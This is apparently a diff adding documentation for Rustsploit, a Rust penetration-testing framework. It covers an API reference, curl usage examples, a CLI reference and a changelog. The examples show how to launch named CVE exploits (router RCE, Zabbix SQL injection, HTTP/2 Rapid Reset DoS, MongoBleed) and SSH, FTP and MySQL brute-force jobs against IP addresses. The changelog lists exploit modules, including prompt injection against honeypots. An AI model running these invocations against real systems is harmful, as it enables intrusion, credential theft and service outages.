|
||||
| Execution | `run [target]`, `run_all [target]`, `check` |
|
||||
| Global Options | `setg <key> <val>`, `unsetg <key>`, `show_options` |
|
||||
| Credentials | `creds`, `creds add <host> <port> <svc> <user> <secret> [type]`, `creds search <q>`, `creds delete <id>`, `creds clear` |
|
||||
| Hosts/Services | `hosts`, `hosts add <ip>`, `services`, `services add <host> <port> <proto> <name> [ver]`, `notes <ip> <text>` |
|
||||
| Workspace | `workspace [name]` |
|
||||
| Loot | `loot`, `loot add <host> <type> <desc> <data>`, `loot search <q>` |
|
||||
| Export | `export <json\|csv\|summary> <file>` |
|
||||
| Jobs | `jobs`, `jobs -k <id>`, `jobs clean` |
|
||||
| Logging | `spool [off\|file]` |
|
||||
|
||||
**Not available in API mode:** `resource` (security — prevents server-side file execution), `makerc` (no shell history).
|
||||
|
||||
**Response format:**
|
||||
```json
|
||||
{
|
||||
"success": true,
|
||||
"message": "N shell command(s) executed",
|
||||
"data": {
|
||||
"results": [
|
||||
{
|
||||
"command": "modules",
|
||||
"success": true,
|
||||
"output": "{\"total\": <dynamically generated>, ...}",
|
||||
"duration_ms": 2
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Commands returning structured data (modules, creds, hosts, services, loot, jobs, options, info, check)
|
||||
encode their output as JSON strings in the `output` field.
|
||||
|
||||
---
|
||||
|
||||
## Security Features
|
||||
|
||||
### Input Validation
|
||||
|
||||
| Check | Detail |
|
||||
|-------|--------|
|
||||
| Request body limit | Max 1 MB (prevents DoS) |
|
||||
| API key validation | Must be printable ASCII, max 256 chars |
|
||||
| Target validation | Length check, control char rejection, path traversal prevention |
|
||||
| Module path sanitization | Validated against injection and traversal attacks |
|
||||
| Resource limits | Auto-cleanup when tracked IPs or auth failures exceed 100,000 entries |
|
||||
|
||||
### IP Whitelist
|
||||
|
||||
An optional IP whitelist can be configured at `~/.rustsploit/ip_whitelist.conf` (one IP per line, `#` for comments). When the file exists and contains entries, only listed IPs are allowed to access the API. All other IPs receive HTTP `403 Forbidden`. If the file is absent or empty, all IPs are allowed.
|
||||
|
||||
### Rate Limiting
|
||||
|
||||
- **10 requests per second** per IP (general rate limit)
|
||||
- **3 failed auth attempts** → IP blocked for **30 seconds**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests`
|
||||
- Failure counter resets automatically after the block expires
|
||||
- Successful auth resets the failure counter for that IP
|
||||
- Expired blocks and entries older than **1 hour** are auto-pruned
|
||||
|
||||
### Post-Quantum Host Key
|
||||
|
||||
The server generates an ML-KEM-768 + X25519 host key pair on first run at `~/.rustsploit/pq_host_key`. This is the server's permanent identity — like an SSH host key. The fingerprint is displayed on startup and should be verified by clients on first connection to prevent MITM attacks.
|
||||
|
||||
---
|
||||
|
||||
## Logging
|
||||
|
||||
All activity is logged to:
|
||||
- **Terminal** — real-time colored output
|
||||
- **`rustsploit_api.log`** — in the current working directory
|
||||
|
||||
Logged events include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limit triggers
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
---
|
||||
|
||||
## Module Prompts (API Mode)
|
||||
|
||||
All modules (exploits, scanners, and creds) support a `prompts` field in the
|
||||
`/api/run` request body. This field is a JSON object of key→value pairs that
|
||||
pre-fill interactive prompts so modules run non-interactively via the API.
|
||||
|
||||
### How It Works
|
||||
|
||||
1. Modules use `cfg_prompt_*()` functions that check `prompts` first
|
||||
2. If a key is not found in `prompts`, global options (set via `setg` or
|
||||
`POST /api/options`) are checked next
|
||||
3. If a key is present in either source, its value is used instead of prompting stdin
|
||||
4. If a key is missing in API mode, the default value is used (or an error is
|
||||
returned for required prompts)
|
||||
5. Boolean prompts accept: `y`/`n`/`yes`/`no`/`true`/`false`/`1`/`0`
|
||||
|
||||
### Common Prompt Keys
|
||||
|
||||
| Key | Type | Used By | Description |
|
||||
|-----|------|---------|-------------|
|
||||
| `port` | u16 | Most modules | Target service port |
|
||||
| `target` | string | Some modules | Override target when empty |
|
||||
| `command` | string | RCE exploits | Command to execute |
|
||||
| `username` | string | Auth exploits/creds | Username or login |
|
||||
| `password` | string | Auth exploits/creds | Password or credential |
|
||||
| `mode` | string | Multi-mode modules | Select operation mode (1, 2, 3…) |
|
||||
| `concurrency` | int | Scanners/creds | Max concurrent tasks |
|
||||
| `output_file` | string | Modules with save | Output filename |
|
||||
| `save_results` | y/n | Creds/scanners | Save results to file |
|
||||
| `verbose` | y/n | Many modules | Verbose output |
|
||||
| `skip_ssl` | y/n | Web exploits | Skip SSL verification |
|
||||
| `proceed` | y/n | Dangerous exploits | Confirm execution |
|
||||
| `lhost` | string | Reverse shell | Attacker listener IP |
|
||||
| `lport` | string | Reverse shell | Attacker listener port |
|
||||
| `username_wordlist` | path | Creds modules | Path to username wordlist |
|
||||
| `password_wordlist` | path | Creds modules | Path to password wordlist |
|
||||
| `stop_on_success` | y/n | Creds modules | Stop on first valid credential |
|
||||
| `combo_mode` | y/n | Creds modules | user×pass combination mode |
|
||||
|
||||
### Example: Exploit Module via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
|
||||
"target": "192.168.1.1",
|
||||
"prompts": {
|
||||
"username": "admin",
|
||||
"password": "admin123",
|
||||
"command": "id"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Example: Credential Module via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "creds/generic/ftp_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "21",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "500",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "ftp_results.txt",
|
||||
"verbose": "n",
|
||||
"combo_mode": "n"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Example: Database Bruteforce via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "creds/generic/mysql_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "3306",
|
||||
"use_defaults": "y",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "20",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "mysql_results.txt"
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,448 @@
|
||||
# API Usage Examples
|
||||
|
||||
Practical workflows for interacting with the Rustsploit WebSocket API.
|
||||
|
||||
> Start the server first: `cargo run -- --api`
|
||||
>
|
||||
> **Note:** All API endpoints (except `/health`) require a PQ WebSocket session. The examples below show the JSON message format sent over the WebSocket connection — not direct HTTP requests. Authentication is via PQ identity keys established during the handshake. The `Authorization: Bearer` headers shown are **legacy placeholders** retained for readability — they are not used.
|
||||
|
||||
---
|
||||
|
||||
## Health Check (No Auth)
|
||||
|
||||
```bash
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
**Response:**
|
||||
```json
|
||||
{"status": "ok", "timestamp": "2026-03-17T14:00:00Z"}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## List Available Modules
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
**Response (truncated):**
|
||||
```json
|
||||
{
|
||||
"modules": [
|
||||
"exploits/heartbleed",
|
||||
"exploits/mongo/mongobleed",
|
||||
"scanners/port_scanner",
|
||||
"scanners/dir_brute",
|
||||
"creds/generic/ssh_bruteforce"
|
||||
],
|
||||
"count": 240,
|
||||
"request_id": "abc123",
|
||||
"timestamp": "2026-03-17T14:01:00Z",
|
||||
"duration_ms": 2
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Get Module Details
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer my-secret-key" \
|
||||
http://localhost:8080/api/module/exploits/sample_exploit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run a Port Scan
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run an Exploit
|
||||
|
||||
All exploit modules support full API mode via the `prompts` field. When running
|
||||
via the API, every interactive prompt can be pre-filled so modules never block
|
||||
waiting on stdin.
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "exploits/heartbleed", "target": "10.10.10.10"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
### Exploit with Prompts
|
||||
|
||||
```bash
|
||||
# TP-Link Archer RCE — supply credentials and command via API
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
|
||||
"target": "192.168.1.1",
|
||||
"prompts": {
|
||||
"username": "admin",
|
||||
"password": "admin123",
|
||||
"command": "id"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
```bash
|
||||
# Zabbix SQL Injection — pre-select payload mode and credentials
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/webapps/zabbix/zabbix_7_0_0_sql_injection",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"username": "Admin",
|
||||
"password": "zabbix",
|
||||
"mode": "3"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
```bash
|
||||
# HTTP/2 Rapid Reset DoS test
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "443",
|
||||
"use_ssl": "y",
|
||||
"num_streams": "500",
|
||||
"delay_ms": "1",
|
||||
"run_baseline": "y",
|
||||
"confirm_permission": "y"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run a Credential Module
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "creds/generic/ssh_bruteforce",
|
||||
"target": "10.10.10.10",
|
||||
"prompts": {
|
||||
"port": "22",
|
||||
"username_wordlist": "/opt/wordlists/users.txt",
|
||||
"password_wordlist": "/opt/wordlists/passwords.txt",
|
||||
"concurrency": "100",
|
||||
"stop_on_success": "y",
|
||||
"save_results": "y",
|
||||
"output_file": "ssh_results.txt"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Run MongoBleed (CVE-2025-14847)
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"module": "exploits/mongo/mongobleed",
|
||||
"target": "10.10.10.10:27017",
|
||||
"prompts": {
|
||||
"mode": "2",
|
||||
"port": "27017",
|
||||
"output_file": "leaked_data.bin"
|
||||
}
|
||||
}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Global Options
|
||||
|
||||
```bash
|
||||
# Set global options
|
||||
curl -X POST http://localhost:8080/api/options \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"port": "8080", "concurrency": "50"}'
|
||||
|
||||
# List global options
|
||||
curl http://localhost:8080/api/options \
|
||||
-H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Store
|
||||
|
||||
```bash
|
||||
# Add a credential
|
||||
curl -X POST http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "port": 22, "service": "ssh", "username": "admin", "secret": "password123", "cred_type": "password"}'
|
||||
|
||||
# List all credentials
|
||||
curl http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Delete a credential
|
||||
curl -X DELETE http://localhost:8080/api/creds \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"id": "abc12345"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Workspace & Host Tracking
|
||||
|
||||
```bash
|
||||
# Add a host
|
||||
curl -X POST http://localhost:8080/api/hosts \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"ip": "192.168.1.1", "hostname": "router.local", "os_guess": "Linux"}'
|
||||
|
||||
# List hosts
|
||||
curl http://localhost:8080/api/hosts -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Add a service
|
||||
curl -X POST http://localhost:8080/api/services \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "port": 22, "protocol": "tcp", "service_name": "ssh", "version": "OpenSSH 8.9"}'
|
||||
|
||||
# List services
|
||||
curl http://localhost:8080/api/services -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Switch workspace
|
||||
curl -X POST http://localhost:8080/api/workspace \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"name": "engagement_2"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Loot Management
|
||||
|
||||
```bash
|
||||
# Store loot
|
||||
curl -X POST http://localhost:8080/api/loot \
|
||||
-H "Authorization: Bearer YOUR_KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "192.168.1.1", "loot_type": "config", "description": "Router config dump", "data": "hostname router1\ninterface eth0..."}'
|
||||
|
||||
# List loot
|
||||
curl http://localhost:8080/api/loot -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Background Jobs
|
||||
|
||||
```bash
|
||||
# List running jobs
|
||||
curl http://localhost:8080/api/jobs -H "Authorization: Bearer YOUR_KEY"
|
||||
|
||||
# Kill a job
|
||||
curl -X DELETE http://localhost:8080/api/jobs/1 -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Export Engagement Data
|
||||
|
||||
```bash
|
||||
# Export all data as JSON
|
||||
curl http://localhost:8080/api/export?format=json -H "Authorization: Bearer YOUR_KEY"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shell Command Endpoint (Full Shell Parity)
|
||||
|
||||
The `/api/shell` endpoint supports **every interactive shell command**. Use the
|
||||
`commands` array to chain multiple commands in a single request.
|
||||
|
||||
### Basic Shell Commands
|
||||
|
||||
```bash
|
||||
# List all modules via shell endpoint
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "modules"}'
|
||||
|
||||
# Search for SSH modules
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "find ssh"}'
|
||||
|
||||
# Get module info
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "info exploits/heartbleed"}'
|
||||
```
|
||||
|
||||
### Chained Workflow (Select, Target, Run)
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"use scanners/port_scanner",
|
||||
"set target 192.168.1.1",
|
||||
"run"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Vulnerability Check
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"use exploits/heartbleed",
|
||||
"set target 10.10.10.10",
|
||||
"check"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Global Options via Shell
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"setg port 8080",
|
||||
"setg concurrency 50",
|
||||
"show_options"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Data Management via Shell
|
||||
|
||||
```bash
|
||||
# Add credentials (inline — no interactive prompts in API mode)
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "creds add 192.168.1.1 22 ssh admin password123 password"}'
|
||||
|
||||
# Search credentials
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "creds search ssh"}'
|
||||
|
||||
# Add host and service
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"hosts add 192.168.1.1",
|
||||
"services add 192.168.1.1 22 tcp ssh OpenSSH_8.9",
|
||||
"notes 192.168.1.1 Possible default credentials"
|
||||
]
|
||||
}'
|
||||
|
||||
# Workspace management
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "workspace pentest_2026"}'
|
||||
|
||||
# Loot management
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "loot add 192.168.1.1 config router-config hostname_router1"}'
|
||||
|
||||
# Export data
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"command": "export json engagement_report.json"}'
|
||||
```
|
||||
|
||||
### Background Jobs via Shell
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8080/api/shell \
|
||||
-H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commands": [
|
||||
"jobs",
|
||||
"jobs clean"
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Full Workflow Cheatsheet
|
||||
|
||||
```bash
|
||||
# 1. Start server
|
||||
cargo run -- --api
|
||||
|
||||
# 2. Health check
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
```
|
||||
@@ -0,0 +1,2 @@
|
||||
# About Me
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
# CLI Reference
|
||||
|
||||
Rustsploit modules can be executed without the interactive shell using Clap-based flags. The CLI dispatcher (`src/cli.rs`) maps directly to the same modules used in the shell.
|
||||
|
||||
---
|
||||
|
||||
## Basic Syntax
|
||||
|
||||
```bash
|
||||
cargo run -- [FLAGS] -m <MODULE> -t <TARGET>
|
||||
```
|
||||
|
||||
Or if using the compiled binary:
|
||||
```bash
|
||||
./rustsploit [FLAGS] -m <MODULE> -t <TARGET>
|
||||
```
|
||||
|
||||
An optional positional argument (`exploit`, `scanner`, `creds`) can be used to specify the module category, but it is not required -- the dispatcher resolves modules by name automatically.
|
||||
|
||||
---
|
||||
|
||||
## Commands
|
||||
|
||||
| Flag | Values | Description |
|
||||
|------|--------|-------------|
|
||||
| `--module` / `-m` | module name or path | Module to execute (short name or qualified path) |
|
||||
| `--target` / `-t` | IP / hostname / CIDR | Target to run against |
|
||||
| *(positional)* | `exploit`, `scanner`, `creds` | Optional module category subcommand |
|
||||
|
||||
---
|
||||
|
||||
## Global Flags
|
||||
|
||||
| Flag | Short | Description |
|
||||
|------|-------|-------------|
|
||||
| `--list-modules` | | Print all available modules and exit |
|
||||
| `--verbose` | `-v` | Enable detailed logging |
|
||||
| `--output-format` | | Control output: `text` (default) or `json` |
|
||||
| `--api` | | Start the PQ-encrypted REST + WebSocket API server |
|
||||
| `--mcp` | | Start as MCP (Model Context Protocol) server on stdio |
|
||||
| `--interface <addr:port>` | | Bind address for API server (default: `127.0.0.1:8080`) |
|
||||
| `--pq-host-key <path>` | | PQ host key file (default: `~/.rustsploit/pq_host_key`) |
|
||||
| `--pq-authorized-keys <path>` | | Authorized client keys file (default: `~/.rustsploit/pq_authorized_keys`) |
|
||||
| `--resource` | `-r` | Execute a resource script file on startup |
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
```bash
|
||||
# Run an exploit
|
||||
cargo run -- -m heartbleed -t 192.168.1.1
|
||||
|
||||
# Run a scanner
|
||||
cargo run -- -m port_scanner -t 192.168.1.1
|
||||
|
||||
# Run a credential module
|
||||
cargo run -- -m ssh_bruteforce -t 192.168.1.1
|
||||
|
||||
# Run using a qualified module path
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1
|
||||
|
||||
# List all modules
|
||||
cargo run -- --list-modules
|
||||
|
||||
# Run with verbose logging
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
|
||||
|
||||
# Run with JSON output
|
||||
cargo run -- -m port_scanner -t 10.0.0.1 --output-format json
|
||||
|
||||
# Execute a resource script
|
||||
cargo run -- -r scripts/scan.rc
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Module Names
|
||||
|
||||
Modules can be referenced by:
|
||||
- **Short name:** `ssh_bruteforce`, `heartbleed`, `port_scanner`
|
||||
- **Qualified path:** `creds/generic/ssh_bruteforce`, `exploits/heartbleed`, `scanners/port_scanner`
|
||||
|
||||
Both forms resolve to the same underlying function via the build-generated dispatcher.
|
||||
|
||||
Use `--list-modules` or the shell's `modules` command for the authoritative list.
|
||||
|
||||
---
|
||||
|
||||
## Error Handling & Warnings
|
||||
|
||||
| Situation | Message |
|
||||
|-----------|---------|
|
||||
| `-m` used without `-t` | `⚠ Warning: --module specified without --target. Launching shell...` |
|
||||
| `-t` used without `-m` | Target is stored and available in the interactive shell |
|
||||
|
||||
---
|
||||
|
||||
## Interactive Prompts in CLI Mode
|
||||
|
||||
If a module requires additional parameters (e.g., wordlist paths for brute-force), it will prompt interactively even in CLI mode. For automated pipelines, modules should use sensible defaults or accept environment variables where applicable.
|
||||
@@ -0,0 +1,147 @@
|
||||
# Changelog
|
||||
|
||||
A high-level summary of significant changes. For the full detailed log, see [`changelogs/changelog-latest.md`](../changelogs/changelog-latest.md).
|
||||
|
||||
---
|
||||
|
||||
## v0.4.8 (2026-04-19)
|
||||
|
||||
### Module Totals
|
||||
|
||||
- **183 exploit modules** — cameras, routers, network infrastructure, webapps, frameworks, SSH, VNC, DoS, crypto, FTP, IPMI, telnet, Bluetooth, VoIP, Windows, payload generators, honeypot exploits (Cowrie, Dionaea, HoneyTrap, SNARE), WAF (SafeLine)
|
||||
- **27 scanner modules**
|
||||
- **29 credential modules** — all with full mass scan support (random, CIDR, file, comma-separated targets)
|
||||
- **1 plugin module**
|
||||
- **240 total modules**
|
||||
|
||||
### New in April 2026
|
||||
|
||||
#### 46 New Exploit Modules
|
||||
|
||||
| Category | Modules |
|
||||
|----------|---------|
|
||||
| Cowrie (SSH honeypot) | `ansi_log_injection`, `llm_prompt_injection`, `ssrf_ipv6` |
|
||||
| Dionaea (honeypot) | `mqtt_underflow`, `mssql_dos`, `mysql_sqli`, `tftp_crash` |
|
||||
| HoneyTrap (honeypot) | `docker_panic`, `ftp_panic` |
|
||||
| SafeLine (WAF) | `cookie_attributes`, `nginx_injection`, `no_auth_probe`, `pre_auth_tfa`, `session_secret_entropy`, `unauth_writes` |
|
||||
| Snare (honeypot) | `cookie_dos`, `tanner_version_mitm` |
|
||||
| VNC | `rfb`, `libvnc_checkrect_overflow`, `libvnc_tight_filtergradient`, `libvnc_ultrazip`, `libvnc_websocket_overflow`, `libvnc_zrle_tile`, `tigervnc_rre_overflow`, `tigervnc_timing_oracle`, `tightvnc_decompression_bomb`, `tightvnc_des_hardcoded_key`, `tightvnc_ft_path_traversal`, `tightvnc_predictable_challenge`, `tightvnc_rect_overflow`, `x11vnc_dns_injection`, `x11vnc_env_injection`, `x11vnc_unixpw_inject` |
|
||||
| SSH | `asyncssh_beginauthpass`, `libssh2_rogue_server`, `paramiko_authnonepass`, `paramiko_unknown_method` |
|
||||
| Frameworks | `apache_camel/cve_2025_27636_camel_header_injection`, `php/cve_2025_51373_php_rce` |
|
||||
| Network Infra | `commvault/cve_2025_34028_commvault_rce`, `kubernetes/cve_2025_1974_ingress_nginx_rce` |
|
||||
| WebApps | `misp_rce_cve_2025_27364`, `nextjs_middleware_bypass_cve_2025_29927`, `vite_path_traversal_cve_2025_30208`, `zimbra_sqli_auth_bypass_cve_2025_25064` |
|
||||
|
||||
#### 3 New Scanner Modules
|
||||
|
||||
- `proxy_scanner` — HTTP CONNECT, SOCKS4/5, transparent proxy discovery
|
||||
- `reflect_scanner` — UDP amplification vulnerability scanner (DNS, NTP, SSDP, Memcached)
|
||||
- `vuln_checker` — Fingerprint-based vulnerability scanner across all exploit modules
|
||||
|
||||
#### 10 New Credential Modules
|
||||
|
||||
`couchdb_bruteforce`, `elasticsearch_bruteforce`, `http_basic_bruteforce`, `imap_bruteforce`, `memcached_bruteforce`, `mysql_bruteforce`, `postgres_bruteforce`, `proxy_bruteforce`, `redis_bruteforce`, `vnc_bruteforce`
|
||||
|
||||
#### Infrastructure
|
||||
|
||||
- **WebSocket transport** (`src/ws.rs`) — PQ-encrypted WebSocket endpoint at `/pq/ws` with 100-connection cap and heartbeat
|
||||
- **Root privilege helper** (`src/utils/privilege.rs`) — `require_root()` for raw-socket modules (DoS, ping sweep, ICMP)
|
||||
- **Unified HTTP client** (`src/utils/network.rs`) — `build_http_client()` and `build_http_client_with(HttpClientOpts)` replacing hand-rolled clients in 50+ modules
|
||||
- **TCP connect helpers** — `tcp_connect_addr()`, `tcp_connect_str()`, `blocking_tcp_connect()`, `udp_bind()` centralizing socket creation
|
||||
- **MCP hardening** — `isolate_protocol_stdout()` prevents module println! from corrupting JSON-RPC; `MAX_LINE_BYTES` (1 MiB) caps; binary-safe reads
|
||||
- **Spool hardening** — `O_NOFOLLOW` flag, parent symlink check, lock-first file creation, `write_line()` returns Result
|
||||
- **build.rs** — `check_available()` dispatch for capability queries without a target; optimized regex compilation
|
||||
|
||||
#### Module Audit
|
||||
|
||||
Systematic quality pass across all 183 exploit modules:
|
||||
- Replaced `std::thread::sleep` with async alternatives in SSH and scanner modules
|
||||
- Migrated raw `TcpStream::connect` to `tcp_connect_addr()` framework utility
|
||||
- Standardized 50+ modules from hand-rolled `reqwest::Client::builder` to `build_http_client()`
|
||||
- Added `require_root()` checks to all raw-socket modules (DoS, ping sweep, ICMP flood)
|
||||
- Added `zeroize` crate for sensitive data cleanup
|
||||
|
||||
---
|
||||
|
||||
### Highlights
|
||||
|
||||
- **Framework-level multi-target dispatcher** — comma-separated, CIDR, file-based, and random target modes now work for ALL modules, handled by the framework rather than individual module code
|
||||
- **All modules use `cfg_prompt_*`** — ensures full API/CLI/MCP compatibility via the priority chain (custom_prompts > global_options > stdin)
|
||||
- **Honeypot detection system** — warns operators when a target exhibits honeypot characteristics
|
||||
- **`#[cfg(unix)]` guards** on Unix-specific permissions code for cross-platform compilation
|
||||
- **Bug fixes:**
|
||||
- SharePoint exploit: fixed header typo
|
||||
- Langflow exploit: corrected escape order
|
||||
- Zabbix SQLi: removed unused payload variable
|
||||
- Jenkins LFI: fixed async deadlock
|
||||
- Apache Tomcat: replaced hardcoded session IDs with proper generation
|
||||
|
||||
---
|
||||
|
||||
## Recent Changes
|
||||
|
||||
### Framework Features (Metasploit Parity)
|
||||
|
||||
| Feature | Commands | Description |
|
||||
|---------|----------|-------------|
|
||||
| Module Metadata | `info`, `check` | Optional `info()` and `check()` per module — CVE, author, rank, non-destructive verification |
|
||||
